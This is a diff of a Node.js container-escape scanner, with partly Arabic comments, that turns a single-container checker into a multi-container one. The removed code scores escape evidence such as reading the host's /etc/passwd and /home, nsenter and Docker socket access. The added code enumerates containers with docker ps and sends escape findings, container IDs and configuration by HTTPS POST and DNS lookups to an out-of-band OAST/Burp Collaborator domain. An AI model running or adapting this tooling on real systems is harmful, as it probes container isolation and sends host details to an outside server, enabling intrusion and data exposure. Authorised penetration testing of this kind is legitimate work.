- console.log("\n🔍 المرحلة 3: تحليل الأدلة وتقييم الثقة...\n");
438
-
439
- let confidenceScore = 0;
440
- const maxScore = 100;
441
- const escapeMethods = [];
442
- const proofPoints = [];
443
-
444
- // 1. أدلة قاطعة (25 نقطة لكل)
445
- if (evidenceLog.definitiveEvidence.differentHostnameConfirmed) {
446
- confidenceScore += 25;
447
- proofPoints.push("Hostname المضيف ≠ Hostname الحاوية (أقوى دليل)");
448
- }
449
-
450
- if (evidenceLog.definitiveEvidence.hostFilesAccess) {
451
- confidenceScore += 25;
452
- proofPoints.push("الوصول لملفات /home في المضيف");
453
- }
454
-
455
- if (evidenceLog.definitiveEvidence.hostUsersReadable) {
456
- confidenceScore += 20;
457
- proofPoints.push("قراءة /etc/passwd للمضيف");
512
+
513
+ req.on('error', () => {});
514
+ req.write(JSON.stringify({
515
+ interactionId: interactionId,
516
+ sessionId: CONFIG.OAST.sessionId,
517
+ containerId: this.shortId,
518
+ data: data
519
+ }));
520
+ req.end();
521
+
522
+ // Also send DNS notification for critical escapes
523
+ if (this.info.risk === 'critical') {
524
+ const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
525
+ dns.lookup(dnsName, () => {});
526
+ }
458
527
  }
459
-
460
- // 2. أدلة قوية (15 نقطة لكل)
461
- if (evidenceLog.escapeChecks.nsenter.accessible) {
462
- confidenceScore += 15;
463
- escapeMethods.push("nsenter");
528
+
529
+ executeCommand(command) {
530
+ return new Promise((resolve, reject) => {
531
+ exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
532
+ if (error) {
533
+ reject(error);
534
+ } else {
535
+ resolve(stdout.toString().trim());
536
+ }
537
+ });
538
+ });
464
539
  }
465
-
466
- if (evidenceLog.escapeChecks.dockerSocket.accessible) {
467
- confidenceScore += 15;
468
- escapeMethods.push("docker_socket");
540
+
541
+ updateStatistics() {
542
+ STATE.statistics.scannedContainers++;
543
+
544
+ if (this.info.escapeStatus === 'confirmed') {
545
+ STATE.statistics.escapedContainers++;
546
+ STATE.statistics.criticalEscapes++;
547
+ } else if (this.info.escapeStatus === 'probable') {
548
+ STATE.statistics.escapedContainers++;
549
+ }
550
+
551
+ if (this.info.vulnerabilities.length > 0) {
552
+ STATE.statistics.vulnerableContainers++;
553
+ }
469
554
  }
470
-
471
- if (evidenceLog.escapeChecks.procAccess.accessible) {
472
- confidenceScore += 15;
473
- escapeMethods.push("proc_access");
555
+ }
556
+
557
+ // ===================== MAIN SCANNER CLASS =====================
558
+ class MultiContainerScanner {
559
+ constructor() {
560
+ this.scanners = [];
561
+ this.results = [];
474
562
  }
475
-
476
- // 3. أدلة مساندة (10 نقطة لكل)
477
- if (evidenceLog.definitiveEvidence.hostProcessesVisible) {
478
- confidenceScore += 10;
563
+
564
+ async discoverContainers() {
565
+ console.log('🔎 Discovering containers...');
566
+
567
+ try {
568
+ // Get all running containers
569
+ const cmd = 'docker ps -q --no-trunc';
570
+ const output = await this.exec(cmd);
571
+ const containerIds = output.split('\n').filter(id => id.trim());
572
+
573
+ STATE.statistics.totalContainers = containerIds.length;
574
+
575
+ if (containerIds.length === 0) {
576
+ console.log('ℹ️ No running containers found.');
577
+ return [];
578
+ }
579
+
580
+ console.log(`📦 Found ${containerIds.length} containers`);
581
+ return containerIds;
582
+ } catch (error) {
583
+ console.error('❌ Failed to discover containers:', error.message);
584
+ return [];
585
+ }
479
586
  }
480
-
481
- if (evidenceLog.definitiveEvidence.hostNetworkVisible) {
482
- confidenceScore += 10;
587
+
588
+ async scanContainers(containerIds) {
589
+ console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
590
+
591
+ // Create scanners
592
+ this.scanners = containerIds.map(id => new ContainerScanner(id));
593
+
594
+ // Scan in batches to avoid overwhelming the system
595
+ const batchSize = CONFIG.SCAN.parallelScans;
596
+ for (let i = 0; i < this.scanners.length; i += batchSize) {
597
+ const batch = this.scanners.slice(i, i + batchSize);
598
+ console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
599
+
600
+ const batchPromises = batch.map(scanner =>
601
+ scanner.scan().catch(error => {
602
+ console.error(`Failed to scan ${scanner.shortId}:`, error.message);
603
+ return scanner.info;
604
+ })
605
+ );
606
+
607
+ const batchResults = await Promise.all(batchPromises);
608
+ this.results.push(...batchResults);
609
+
610
+ // Show progress
611
+ const scanned = Math.min(i + batchSize, this.scanners.length);
612
+ const percent = Math.round((scanned / this.scanners.length) * 100);
613
+ console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
614
+ }
615
+
616
+ return this.results;
483
617
  }
484
-
485
- // تحديد نتيجة الهروب
486
- evidenceLog.finalVerdict.confidence = Math.min(100, confidenceScore);
487
- evidenceLog.finalVerdict.escapeMethods = escapeMethods;
488
- evidenceLog.finalVerdict.proofPoints = proofPoints;
489
-
490
- if (evidenceLog.finalVerdict.confidence >= 60) {
491
- evidenceLog.finalVerdict.escapedToHost = true;
492
- evidenceLog.finalVerdict.riskLevel = evidenceLog.finalVerdict.confidence >= 80 ? 'CRITICAL' : 'HIGH';
493
- } else if (evidenceLog.finalVerdict.confidence >= 30) {
494
- evidenceLog.finalVerdict.escapedToHost = 'POSSIBLE';
495
- evidenceLog.finalVerdict.riskLevel = 'MEDIUM';
496
- } else {
497
- evidenceLog.finalVerdict.escapedToHost = false;
498
- evidenceLog.finalVerdict.riskLevel = 'LOW';
618
+
619
+ async generateReport() {
620
+ console.log('\n' + '═'.repeat(80));
621
+ console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
622
+ console.log('═'.repeat(80));
623
+
624
+ const report = {
625
+ metadata: {
626
+ timestamp: new Date().toISOString(),
627
+ sessionId: CONFIG.OAST.sessionId,
628
+ scanDuration: Date.now() - STATE.startTime,
629
+ config: CONFIG
630
+ },
631
+ statistics: STATE.statistics,
632
+ oast: {
633
+ domain: CONFIG.OAST.domain,
634
+ interactions: STATE.oastInteractions.length,
635
+ session: CONFIG.OAST.sessionId
636
+ },
637
+ containers: this.results,
638
+ summary: this.generateSummary()
639
+ };
640
+
641
+ // Print summary
642
+ this.printSummary(report.summary);
643
+
644
+ // Save report if enabled
645
+ if (CONFIG.OUTPUT.saveReports) {
646
+ await this.saveReport(report);
647
+ }
648
+
649
+ return report;
499
650
  }
500
-
501
- // إرسال النتيجة النهائية إلى OAST
502
- sendOASTInteraction('HTTPS', {
503
- checkPoint: 'final_verdict',
504
- evidence: {
505
- escapedToHost: evidenceLog.finalVerdict.escapedToHost,
506
- confidence: evidenceLog.finalVerdict.confidence,
507
- escapeMethods: escapeMethods,
508
- proofPoints: proofPoints
651
+
652
+ generateSummary() {
653
+ const summary = {
654
+ totalScanned: STATE.statistics.scannedContainers,
655
+ escapedContainers: [],
656
+ vulnerableContainers: [],
657
+ criticalIssues: [],
658
+ recommendations: []
659
+ };
660
+
661
+ this.results.forEach(container => {
662
+ if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
663
+ summary.escapedContainers.push({
664
+ id: container.id.substring(0, 12),
665
+ name: container.name,
666
+ confidence: container.confidence,
667
+ methods: container.methods,
668
+ risk: container.risk
669
+ });
670
+ }
671
+
672
+ if (container.vulnerabilities.length > 0) {
673
+ summary.vulnerableContainers.push({
674
+ id: container.id.substring(0, 12),
675
+ name: container.name,
676
+ vulnerabilities: container.vulnerabilities
677
+ });
678
+ }
679
+
680
+ if (container.risk === 'critical') {
681
+ summary.criticalIssues.push({
682
+ id: container.id.substring(0, 12),
683
+ name: container.name,
684
+ evidence: container.evidence.slice(0, 3)
685
+ });
686
+ }
687
+ });
688
+
689
+ // Generate recommendations
690
+ if (summary.escapedContainers.length > 0) {
691
+ summary.recommendations.push(
692
+ `Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
693
+ );
509
694
  }
510
- });
511
-
512
- generateFinalReport();
513
- }
695
+
696
+ if (summary.criticalIssues.length > 0) {
697
+ summary.recommendations.push(
698
+ `Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
699
+ );
700
+ }
701
+
702
+ if (summary.vulnerableContainers.length > 0) {
703
+ summary.recommendations.push(
704
+ `Update kernel/software in ${summary.vulnerableContainers.length} containers`
705
+ );
706
+ }
707
+
708
+ if (summary.escapedContainers.length === 0) {
709
+ summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
710
+ }
711
+
712
+ return summary;
713
+ }
514
714
 
515
- // ===================== Phase 4: Final Report =====================
516
- function generateFinalReport() {
517
- console.log("\n" + "=".repeat(80));
518
- console.log("📊 تقرير تأكيد هروب الحاوية - مع OAST");
519
- console.log("=".repeat(80));
520
-
521
- console.log(`\n📍 OAST Domain: ${OAST_CONFIG.domain}`);
522
- console.log(`🎯 Session ID: ${evidenceLog.sessionId}`);
523
- console.log(`⏰ وقت التحقق: ${new Date(evidenceLog.timestamp).toLocaleString()}`);
524
-
525
- console.log("\n🔍 معلومات النظام:");
526
- console.log(` Hostname: ${evidenceLog.systemInfo.currentHostname}`);
527
- console.log(` المستخدم: ${evidenceLog.systemInfo.currentUser}`);
528
- console.log(` النظام: ${evidenceLog.systemInfo.platform}`);
529
- console.log(` في حاوية: ${evidenceLog.systemInfo.isContainer ? 'نعم (' + evidenceLog.systemInfo.containerType + ')' : 'لا'}`);
530
- if (evidenceLog.systemInfo.containerId) {
531
- console.log(` Container ID: ${evidenceLog.systemInfo.containerId}`);
715
+ printSummary(summary) {
716
+ console.log('\n📈 SCAN STATISTICS:');
717
+ console.log(' Total containers scanned:', summary.totalScanned);
718
+ console.log(' Containers that can escape:', summary.escapedContainers.length);
719
+ console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
720
+ console.log(' Critical issues:', summary.criticalIssues.length);
721
+
722
+ if (summary.escapedContainers.length > 0) {
723
+ console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
724
+ summary.escapedContainers.forEach((container, i) => {
725
+ console.log(` ${i + 1}. ${container.name || container.id}`);
726
+ console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
727
+ console.log(` Methods: ${container.methods.join(', ')}`);
728
+ });
729
+ }
730
+
731
+ if (summary.criticalIssues.length > 0) {
732
+ console.log('\n⚠️ CRITICAL VULNERABILITIES:');
733
+ summary.criticalIssues.forEach((issue, i) => {
734
+ console.log(` ${i + 1}. ${issue.name || issue.id}`);
735
+ issue.evidence.forEach(ev => console.log(` - ${ev}`));
736
+ });
737
+ }
738
+
739
+ console.log('\n💡 RECOMMENDATIONS:');
740
+ summary.recommendations.forEach((rec, i) => {
741
+ console.log(` ${i + 1}. ${rec}`);
742
+ });
743
+
744
+ console.log('\n📡 OAST REPORTING:');
745
+ console.log(` Domain: ${CONFIG.OAST.domain}`);
746
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
747
+ console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
748
+ console.log(` Check OAST for detailed evidence: https://oastify.com`);
749
+
750
+ console.log('\n' + '═'.repeat(80));
751
+ console.log('🎯 SCAN COMPLETE');
752
+
753
+ if (summary.escapedContainers.length > 0) {
754
+ console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
755
+ console.log('🔒 Immediate remediation required.');
756
+ } else {
757
+ console.log('✅ No critical escape vectors detected.');
758
+ console.log('🛡️ Regular security monitoring recommended.');
759
+ }
760
+
761
+ console.log('═'.repeat(80));
532
762
  }
533
-
534
- console.log("\n🎯 النتيجة النهائية:");
535
- let verdictIcon = '';
536
- let verdictText = '';
537
-
538
- if (evidenceLog.finalVerdict.escapedToHost === true) {
539
- verdictIcon = '🚨';
540
- verdictText = 'هروب مؤكد من الحاوية إلى المضيف!';
541
- } else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
542
- verdictIcon = '⚠️';
543
- verdictText = 'هروب محتمل من الحاوية';
544
- } else {
545
- verdictIcon = '✅';
546
- verdictText = 'الحاوية معزولة (لم يتم تأكيد الهروب)';
763
+
764
+ async saveReport(report) {
765
+ const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
766
+ const filename = `multi-container-scan-${timestamp}.json`;
767
+
768
+ try {
769
+ fs.writeFileSync(filename, JSON.stringify(report, null, 2));
770
+ console.log(`\n💾 Full report saved to: ${filename}`);
771
+
772
+ // Also save a summary file
773
+ const summaryFilename = `scan-summary-${timestamp}.txt`;
774
+ let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
775
+ summaryText += `Date: ${new Date().toLocaleString()}\n`;
776
+ summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
777
+
778
+ summaryText += `STATISTICS:\n`;
779
+ summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
780
+ summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
781
+ summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
782
+
783
+ if (report.summary.escapedContainers.length > 0) {
784
+ summaryText += `CRITICAL CONTAINERS:\n`;
785
+ report.summary.escapedContainers.forEach(container => {
786
+ summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
787
+ });
788
+ summaryText += '\n';
789
+ }
790
+
791
+ summaryText += `OAST DETAILS:\n`;
792
+ summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
793
+ summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
794
+ summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
795
+
796
+ fs.writeFileSync(summaryFilename, summaryText);
797
+ console.log(`📝 Summary saved to: ${summaryFilename}`);
798
+
799
+ } catch (error) {
800
+ console.error('❌ Failed to save report:', error.message);
801
+ }
547
802
  }
548
-
549
- console.log(` ${verdictIcon} ${verdictText}`);
550
- console.log(` 📈 مستوى الثقة: ${evidenceLog.finalVerdict.confidence}%`);
551
- console.log(` ⚠️ مستوى الخطورة: ${evidenceLog.finalVerdict.riskLevel}`);
552
-
553
- if (evidenceLog.finalVerdict.escapeMethods.length > 0) {
554
- console.log(`\n🔧 طرق الهروب المكتشفة:`);
555
- evidenceLog.finalVerdict.escapeMethods.forEach((method, i) => {
556
- console.log(` ${i + 1}. ${method}`);
803
+
804
+ exec(command) {
805
+ return new Promise((resolve, reject) => {
806
+ exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
807
+ if (error) {
808
+ reject(error);
809
+ } else {
810
+ resolve(stdout.toString().trim());
811
+ }
812
+ });
557
813
  });
558
814
  }
559
-
560
- if (evidenceLog.finalVerdict.proofPoints.length > 0) {
561
- console.log(`\n🎯 أدلة قاطعة:`);
562
- evidenceLog.finalVerdict.proofPoints.forEach((proof, i) => {
563
- console.log(` ${i + 1}. ${proof}`);
815
+ }
816
+
817
+ // ===================== MAIN EXECUTION =====================
818
+ async function main() {
819
+ console.log('🚀 Starting Multi-Container Escape Scanner...\n');
820
+ console.log('⚙️ Configuration:');
821
+ console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
822
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
823
+ console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
824
+ console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
825
+
826
+ // Initial OAST ping
827
+ console.log('\n📡 Sending initial OAST ping...');
828
+ try {
829
+ const req = https.request({
830
+ hostname: CONFIG.OAST.domain,
831
+ port: CONFIG.OAST.httpsPort,
832
+ path: '/scan-start',
833
+ method: 'POST',
834
+ headers: {
835
+ 'Content-Type': 'application/json',
836
+ 'X-Session-ID': CONFIG.OAST.sessionId
837
+ }
564
838
  });
565
- }
566
-
567
- console.log("\n📡 نتائج OAST:");
568
- console.log(` DNS Requests: ${evidenceLog.oastResults.dnsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
569
- console.log(` HTTP Requests: ${evidenceLog.oastResults.httpCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
570
- console.log(` HTTPS Requests: ${evidenceLog.oastResults.httpsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
571
- console.log(` Total Interactions: ${evidenceLog.oastResults.interactions.length}`);
572
-
573
- if (evidenceLog.oastResults.interactions.length > 0) {
574
- console.log(` Last Interaction: ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].type} at ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].timestamp}`);
575
- }
576
-
577
- // حفظ التقرير محلياً
578
- const reportFilename = `/tmp/container-escape-oast-report-${evidenceLog.sessionId}.json`;
579
- fs.writeFileSync(reportFilename, JSON.stringify(evidenceLog, null, 2));
580
-
581
- console.log(`\n💾 التقرير الكامل محفوظ في: ${reportFilename}`);
839
+
840
+ req.write(JSON.stringify({
841
+ action: 'scan_start',
842
+ timestamp: new Date().toISOString(),
843
+ config: {
844
+ parallelScans: CONFIG.SCAN.parallelScans,
845
+ maxContainers: CONFIG.SCAN.maxContainers
846
+ }
847
+ }));
848
+ req.end();
849
+ } catch (e) {}
582
850
 
583
- // تعليمات التحقق من OAST
584
- console.log("\n" + "=".repeat(80));
585
- console.log("🔍 كيفية التحقق من النتائج في OAST:");
586
- console.log("=".repeat(80));
587
- console.log("\n1. اذهب إلى: https://app.oastify.com (أو أداة Burp Collaborator)");
588
- console.log(`2. أدخل الدومين: ${OAST_CONFIG.domain}`);
589
- console.log(`3. ابحث عن Session ID: ${evidenceLog.sessionId}`);
590
- console.log("4. ستجد التفاعلات التالية:");
591
- console.log(" - DNS requests (إذا نجحت)");
592
- console.log(" - HTTP requests (إذا نجحت)");
593
- console.log(" - HTTPS POST requests مع أدلة الهروب");
594
- console.log("\n5. إذا رأيت HTTPS request تحتوي على:");
595
- console.log(" - 'escapedToHost': true ← تأكيد الهروب");
596
- console.log(" - 'confidence': >60% ← ثقة عالية");
597
- console.log(" - 'proofPoints' ← قائمة بالأدلة");
851
+ // Create scanner and run
852
+ const scanner = new MultiContainerScanner();
598
853
 
599
- console.log("\n" + "=".repeat(80));
600
- if (evidenceLog.finalVerdict.escapedToHost === true) {
601
- console.log("🚨 تنبيه أمني: تم تأكيد الهروب من الحاوية!");
602
- console.log("📡 تم إرسال الأدلة إلى OAST الخاص بك");
603
- console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
604
- } else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
605
- console.log("⚠️ تحذير: هروب محتمل من الحاوية");
606
- console.log("📡 تحقق من OAST للأدلة التفصيلية");
607
- } else {
608
- console.log("✅ الحاوية تبدو معزولة بشكل جيد");
609
- console.log("📡 تم إرسال تفاعلات OAST للتحقق");
854
+ try {
855
+ // Discover containers
856
+ const containerIds = await scanner.discoverContainers();
857
+
858
+ if (containerIds.length === 0) {
859
+ console.log('No containers to scan. Exiting.');
860
+ process.exit(0);
861
+ }
862
+
863
+ // Scan containers
864
+ const results = await scanner.scanContainers(containerIds);
865
+
866
+ // Generate report
867
+ const report = await scanner.generateReport();
868
+
869
+ // Send final report to OAST
870
+ console.log('\n📡 Sending final report to OAST...');
871
+ try {
872
+ const finalReq = https.request({
873
+ hostname: CONFIG.OAST.domain,
874
+ port: CONFIG.OAST.httpsPort,
875
+ path: '/scan-complete',
876
+ method: 'POST',
877
+ headers: {
878
+ 'Content-Type': 'application/json',
879
+ 'X-Session-ID': CONFIG.OAST.sessionId,
880
+ 'X-Final-Report': 'true'
881
+ }
882
+ });
883
+
884
+ finalReq.write(JSON.stringify({
885
+ action: 'scan_complete',
886
+ timestamp: new Date().toISOString(),
887
+ statistics: report.statistics,
888
+ summary: report.summary,
889
+ sessionId: CONFIG.OAST.sessionId
890
+ }));
891
+
892
+ finalReq.end();
893
+ console.log('✅ Final report sent to OAST.');
894
+ } catch (e) {
895
+ console.log('⚠️ Could not send final report to OAST (may be expected)');
896
+ }
897
+
898
+ // Exit with appropriate code
899
+ if (report.summary.escapedContainers.length > 0) {
900
+ console.log('\n⚠️ Exiting with warning code (containers can escape)');
901
+ process.exit(2);
902
+ } else {
903
+ console.log('\n✅ Scan completed successfully.');
904
+ process.exit(0);
905
+ }
906
+
907
+ } catch (error) {
908
+ console.error('\n❌ Scan failed:', error.message);
909
+ process.exit(1);
610
910
  }
611
- console.log("=".repeat(80));
612
911
  }
613
912
 
614
- // ===================== بدء التشغيل =====================
615
- console.log("🚀 بدء عملية تأكيد هروب الحاوية مع OAST...");
616
- console.log(`📡 سيتم إرسال الأدلة إلى: ${OAST_CONFIG.domain}\n`);
617
-
618
- // إرسال ping أولي
619
- sendOASTInteraction('HTTPS', {
620
- checkPoint: 'tool_start',
621
- evidence: {
622
- tool: 'ContainerEscapeConfirmation',
623
- version: '2.0',
624
- timestamp: new Date().toISOString()
625
- }
626
- });
913
+ // ===================== EXECUTE =====================
914
+ if (require.main === module) {
915
+ // Check if Docker is available
916
+ exec('which docker', (error) => {
917
+ if (error) {
918
+ console.error('❌ Docker is not available or not in PATH.');
919
+ console.error(' This tool requires Docker to be installed and accessible.');
920
+ process.exit(1);
921
+ }
922
+
923
+ // Check if we have permission to run docker commands
924
+ exec('docker ps', (error) => {
925
+ if (error && error.message.includes('permission denied')) {
926
+ console.error('❌ Permission denied for Docker commands.');
927
+ console.error(' Try running with sudo or add your user to docker group.');
928
+ process.exit(1);
929
+ }
930
+
931
+ // Start the scan
932
+ main();
933
+ });
934
+ });
935
+ }
627
936
 
628
- // بدء التحقق
629
- setTimeout(detectContainerEnvironment, 1000);
937
+ module.exports = { MultiContainerScanner, ContainerScanner };